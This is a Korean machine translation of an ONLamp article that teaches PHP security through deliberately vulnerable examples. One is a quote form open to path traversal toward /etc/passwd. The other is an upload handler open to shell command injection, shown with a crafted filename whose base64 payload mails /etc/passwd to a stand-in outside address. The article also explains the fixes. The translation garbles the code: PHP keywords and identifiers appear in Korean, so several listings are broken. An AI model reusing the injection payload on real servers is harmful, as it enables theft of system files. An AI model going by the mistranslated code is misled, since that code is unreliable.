보안 문제에 주의를 기울이는 것의 중요성 모든 것보다 더 많은 것을 보는 것
사용자가 프로그램을 악의적으로 손상시키는 것을 방지하는 가장 효과적이지만 종종 간과되는 방법은 코드를 작성할 때 가능성을 고려하는 것입니다. 코드에서 발생할 수 있는 보안 문제를 알고 있는 것이 중요합니다. PHP에서 대용량 텍스트 파일을 작성하는 프로세스를 단순화하도록 설계된 다음 예제 함수를 고려하십시오.
<?php
함수 write_text($filename, $text="") {
정적 $open_files = 배열();
// 파일명이 비어 있으면 모든 파일을 닫는다.
if ($filename == NULL) {
foreach($open_files를 $fr로) {
fclose($fr);
}
사실을 반환;
}
$index = md5($파일명);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) return false;
}
fputs($open_files[$index], $text);
사실을 반환;
}
?>
이 함수는 파일 이름과 파일에 기록될 텍스트라는 두 가지 기본 매개변수를 사용합니다.
이 함수는 먼저 파일이 이미 열려 있는지 확인합니다. 그렇다면 원래 파일 핸들이 사용됩니다. 그렇지 않으면 자체적으로 생성됩니다. 두 경우 모두 텍스트가 파일에 기록됩니다.
함수에 전달된 파일 이름이 NULL이면 열려 있는 모든 파일이 닫힙니다. 아래에 사용 예가 나와 있습니다.
개발자가 다음 형식으로 여러 텍스트 파일을 작성하면 이 함수는 훨씬 더 명확하고 읽기 쉬워집니다.
이 함수를 호출하는 코드가 포함된 별도의 파일에 이 함수가 있다고 가정해 보겠습니다.
아래는 그러한 프로그램입니다. quote.php라고 부르겠습니다:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
견적의 성격을 선택하세요:
<select name="quote" size="3">
<option value="funny">재미있는 명언</option>
<option value="political">정치적 인용</option>
<option value="love">로맨틱 인용문</option>
</select><br />
인용문: <input type="text" name="quote_text" size="30" />
<input type="submit" value="견적 저장" />
</form>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>인용문이 저장되었습니다!</h2></center>";
} 또 다른 {
echo "<center><hr><h2>인용문 작성 오류</h2></center>";
}
write_text(NULL);
?>
보시다시피 개발자는 write_text() 함수를 사용하여 사용자가 좋아하는 인용문을 제출할 수 있는 시스템을 만들었습니다. 이 인용문은 텍스트 파일에 저장됩니다.
불행하게도 개발자들은 이 프로그램이 악의적인 사용자가 웹 서버의 보안을 손상시킬 수 있다고 생각하지 않았을 수도 있습니다.
어쩌면 지금 당장은 이 겉보기에 무해해 보이는 프로그램이 어떻게 보안 위험을 초래할 수 있는지 궁금해하고 계실 것입니다.
알 수 없다면 다음 URL을 고려하고 이 프로그램이 quote.php라는 것을 기억하십시오:
http://www.somewhere.com/fun/quotes.php?quote=
다른_file.dat&
quote_text=garbage+dataURL이 다음으로 전달됩니다. 웹 서버를 사용하면 어떻게 되나요?
분명히 quote.php가 실행될 것이지만, 우리가 원하는 세 파일 중 하나에 인용문을 쓰는 대신, Garbage data 문자열을 포함하는 Different_file.dat라는 새 파일이 생성될 것입니다.
분명히 이는 바람직하지 않은 동작입니다. 악의적인 사용자가 UNIX 암호 파일에 액세스하고 ../../../etc/passwd로 인용을 지정하여 계정을 만들 수 있습니다(이렇게 하려면 웹 서버가 수퍼유저로 프로그램을 실행해야 합니다). . 그렇다면 읽기를 중단하고 지금 수정해야 합니다.)
브라우저를 통해 /home/web/quotes/에 액세스할 수 있는 경우 이 프로그램의 가장 심각한 보안 문제는 모든 사용자가 임의의 PHP 프로그램을 작성하고 실행할 수 있다는 것입니다. 이로 인해 끝없는 문제가 발생할 것입니다.
다음은 몇 가지 해결 방법입니다. 디렉터리에 몇 개의 파일만 작성해야 하는 경우 관련 배열을 사용하여 파일 이름을 저장하는 것이 좋습니다. 이 배열에 사용자가 입력한 파일이 존재하면 안전하게 쓸 수 있다. 또 다른 아이디어는 문자나 숫자가 아닌 모든 문자를 제거하여 디렉터리 구분 기호가 없도록 하는 것입니다. 또 다른 방법은 파일 확장자를 확인하여 해당 파일이 웹 서버에서 실행되지 않는지 확인하는 것입니다.
원칙은 간단합니다. 개발자는 프로그램을 실행하고 싶을 때 프로그램이 수행하는 작업보다 더 많은 것을 생각해야 합니다.
불법적인 데이터가 양식 요소에 입력되면 어떻게 되나요? 악의적인 사용자가 프로그램을 의도하지 않은 방식으로 작동하게 만들 수 있습니까? 이러한 공격을 막기 위해 무엇을 할 수 있습니까? 웹 서버와 PHP 프로그램은 가장 약한 보안 링크에서만 안전하므로 잠재적으로 안전하지 않은 링크가 안전한지 확인하는 것이 중요합니다.
일반적인 보안 관련 실수 다음은 보안을 손상시킬 수 있는 간단하고 불완전한 코딩 및 관리 오류 목록입니다
. 데이터 신뢰 이것은 PHP 프로그램 보안에 대한 논의 전반에 걸쳐 적용되는 주제입니다. 외부에서 오는 데이터를 절대 신뢰해서는 안 됩니다. 사용자가 제출한 양식, 파일 시스템의 파일, 환경 변수 등 그 어떤 데이터도 당연시할 수 없습니다. 따라서 보안을 보장하려면 사용자 입력의 유효성을 검사하고 형식을 지정해야 합니다.
실수 2. 웹 디렉터리에 민감한 데이터 저장 모든 민감한 데이터는 해당 데이터를 사용해야 하는 프로그램과 별도의 파일과 브라우저를 통해 액세스할 수 없는 디렉터리에 저장되어야 합니다. 민감한 데이터를 사용해야 하는 경우에는 include 또는 require 문을 통해 해당 PHP 프로그램에 이를 포함시키십시오.
실수 3. 권장되는 안전 예방 조치를 사용하지 않음
PHP 매뉴얼에는 PHP 프로그램을 사용하고 작성할 때의 보안 예방 조치에 대한 전체 장이 포함되어 있습니다. 매뉴얼은 또한 사례 연구를 바탕으로 잠재적인 보안 위험이 있을 때와 이를 최소화하는 방법을 (거의) 명확하게 설명합니다. 또 다른 예로, 악의적인 사용자는 개발자와 관리자의 실수를 이용해 시스템 권한을 얻기 위해 관심 있는 보안 정보를 얻습니다. 이러한 경고에 주의하고 적절한 조치를 취하여 악의적인 사용자가 시스템에 실질적인 손상을 입힐 가능성을 줄이십시오.
PHP에서 시스템 호출 수행 PHP에서 시스템 호출을 수행하는 방법에는 여러 가지가 있습니다.
예를 들어, system(), exec(), passthru(), popen() 및 역따옴표(`) 연산자를 모두 사용하면 프로그램에서 시스템 호출을 수행할 수 있습니다. 이러한 기능을 부적절하게 사용하면 악의적인 사용자가 서버에서 시스템 명령을 실행할 수 있는 문이 열리게 됩니다. 파일에 접근할 때와 마찬가지로 대부분의 경우 시스템 명령 실행으로 이어지는 신뢰할 수 없는 외부 입력으로 인해 보안 취약점이 발생합니다.
시스템 호출을 사용하는 예제 프로그램 http 파일 업로드를 처리하는 프로그램을 생각해 보십시오. zip 프로그램을 사용하여 파일을 압축한 다음 지정된 디렉터리(기본값은 /usr/local/archives/)로 이동합니다. 코드는 다음과 같습니다:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['파일']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['파일']['이름']}.zip";
$filename = 기본 이름($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$파일명;
이름 바꾸기($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
PHP 에코 $_SERVER['PHP_SELF'];
?>" 방법="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
압축할 파일: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
이 프로그램은 상당히 간단하고 이해하기 쉬워 보이지만 악의적인 사용자가 이를 악용할 수 있는 몇 가지 방법이 있습니다. 가장 심각한 보안 문제는 (` 연산자를 통해) 압축 명령을 실행할 때 존재하며, 이는 다음 줄에서 명확하게 볼 수 있습니다:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['파일']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = 기본 이름($cmp_name)
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
임의의 셸 명령을 실행하도록 프로그램을 속입니다. 이 코드는 매우 안전해 보이지만 파일 업로드 권한이 있는 모든 사용자가 임의의 셸 명령을 실행할 수 있도록 허용할 가능성이 있습니다.
정확하게 말하면 이 보안 취약점은 $cmp_name 변수 할당에서 비롯됩니다. 여기서는 압축 파일이 클라이언트에서 업로드했을 때와 동일한 파일 이름(.zip 확장자 포함)을 갖기를 원합니다. $_FILES['file']['name'](클라이언트에 업로드된 파일의 파일 이름 포함)을 사용했습니다.
이러한 상황에서 악의적인 사용자는 기본 운영 체제에 특별한 의미를 갖는 문자가 포함된 파일을 업로드하여 목표를 달성할 수 있습니다. 예를 들어, 사용자가 아래와 같이 빈 파일을 생성하면 어떻게 될까요? (UNIX 쉘 프롬프트에서)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
시스템($code);';"
이 명령은 다음 이름의 파일을 생성합니다:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
시스템($코드);';
이상해 보이나요? 이 "파일 이름"을 살펴보면 CLI 버전의 PHP가 다음 코드를 실행하도록 하는 명령과 매우 유사하다는 것을 알 수 있습니다
.
$코드=base64_디코드(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
시스템($코드);
?>
호기심에 $code 변수의 내용을 조회해 보면 [email protected] < /etc/passwd. 사용자가 이 파일을 프로그램에 전달하고 PHP가 시스템 호출을 수행하여 파일을 압축하면 PHP는 실제로 다음 명령문을 실행합니다:
/usr/bin/zip /tmp/;php -r
'$코드=base64_디코드(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
시스템($code);';.zip /tmp/phpY4iatI
놀랍게도 위 명령은 1개의 문장이 아닌 3개의 문장입니다! UNIX 쉘은 세미콜론(;)을 하나의 쉘 명령의 끝과 다른 명령의 시작으로 해석하므로 세미콜론이 따옴표 안에 있는 경우를 제외하고 PHP의 system()은 실제로 다음과 같이 실행됩니다:
[user@localhost]# / usr /bin/zip /tmp/
[사용자@로컬호스트]# php -r
'$코드=base64_디코드(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
시스템($code);'
[user@localhost]# .zip /tmp/phpY4iatI
보시다시피, 겉으로는 무해해 보이는 이 PHP 프로그램이 갑자기 임의의 셸 명령과 기타 PHP 프로그램을 실행할 수 있는 백도어로 변했습니다. 이 예제는 경로에 PHP의 CLI 버전이 있는 시스템에서만 작동하지만 이 기술을 사용하여 동일한 효과를 얻을 수 있는 다른 방법이 있습니다.
시스템 호출 공격에 맞서기 위한
핵심은
콘텐츠에 관계없이 사용자의 입력을 신뢰해서는 안 된다는 것입니다.시스템 호출을 사용할 때(전혀 사용하지 않는 것 제외) 유사한 상황을 피하는 방법에 대한 질문이 남아 있습니다. 이러한 유형의 공격에 대처하기 위해 PHP는 escapeshellarg() 및 escapeshellcmd()라는 두 가지 함수를 제공합니다.
escapeshellarg() 함수는 시스템 명령(이 경우 zip 명령)에 대한 인수로 사용되는 사용자 입력에서 잠재적으로 위험한 문자를 제거하도록 설계되었습니다. 이 함수의 구문은 다음과 같습니다:
escapeshellarg($string)
$string은 필터링에 사용되는 입력이고, 반환 값은 필터링된 문자입니다. 실행되면 이 함수는 문자 주위에 작은따옴표를 추가하고 원래 문자열에서 작은따옴표를 이스케이프(앞에)합니다. 루틴에서 시스템 명령을 실행하기 전에 다음 줄을 추가하면:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
시스템 호출에 전달된 매개변수가 처리되었으며 다른 의도 없이 사용자 입력인지 확인함으로써 이러한 보안 위험을 피할 수 있습니다.
escapeshellcmd()는 기본 운영 체제에 특별한 의미가 있는 문자만 이스케이프한다는 점을 제외하면 escapeshellarg()와 유사합니다. escapeshellarg()와 달리 escapeshellcmd()는 내용의 공백을 처리하지 않습니다. 예를 들어, escapeshellcmd()를 사용하여 이스케이프하면 문자는
$string = "'안녕하세요, 세상!';evilcommand"
다음이 됩니다:
'hello, world';evilcommand
이 문자열이 시스템 호출에 대한 인수로 사용되는 경우 쉘은 이를 두 개의 별도 인수인 'hello 및 world';evilcommand로 해석하기 때문에 여전히 올바른 결과를 제공하지 않습니다. 사용자가 시스템 호출에 대한 인수 목록의 일부를 입력하는 경우 escapeshellarg()가 더 나은 선택입니다.
업로드된 파일 보호 이 기사 전체에서 나는 악의적인 사용자가 시스템 호출을 하이재킹하여 바람직하지 않은 결과를 생성하는 방법에만 초점을 맞춰 왔습니다.
그러나 여기서 언급할 만한 또 다른 잠재적인 보안 위험이 있습니다. 루틴을 다시 살펴보면 다음 줄에 주의를 집중해 보세요.
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = 기본 이름($cmp_name);
if (file_exists($tmp_name)) {
위 코드 조각의 코드 줄로 인해 발생할 수 있는 잠재적인 보안 위험은 마지막 줄에서 업로드된 파일이 실제로 존재하는지(임시 파일 이름 $tmp_name으로 존재) 여부를 확인한다는 것입니다.
이러한 보안 위험은 PHP 자체에서 발생하는 것이 아니라 $tmp_name에 저장된 파일 이름이 실제로는 전혀 파일이 아니며 /etc/passwd와 같이 악의적인 사용자가 액세스하려는 파일을 가리킨다는 사실에서 발생합니다.
이런 일이 발생하는 것을 방지하기 위해 PHP는 file_exists()와 동일한 is_uploaded_file() 함수를 제공하지만 파일이 실제로 클라이언트에서 업로드되었는지 확인하는 기능도 제공합니다.
대부분의 경우 업로드된 파일을 이동해야 합니다. PHP는 is_uploaded_file()과 작동하는 move_uploaded_file() 함수를 제공합니다. 이 함수는 rename()과 같이 파일을 이동하는 데 사용됩니다. 단, 실행 전에 이동된 파일이 업로드된 파일인지 자동으로 확인한다는 점만 다릅니다. move_uploaded_file() 구문은 다음과 같습니다.
move_uploaded_file($filename, $destination);
함수가 실행되면 업로드된 파일 $filename을 대상 $destination으로 이동하고 작업 성공 여부를 나타내는 부울 값을 반환합니다.
참고: John Coggeshall은 PHP 컨설턴트이자 저자입니다. 그가 PHP를 다루기 시작한 지 약 5년이 되었습니다.
영어 원문: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html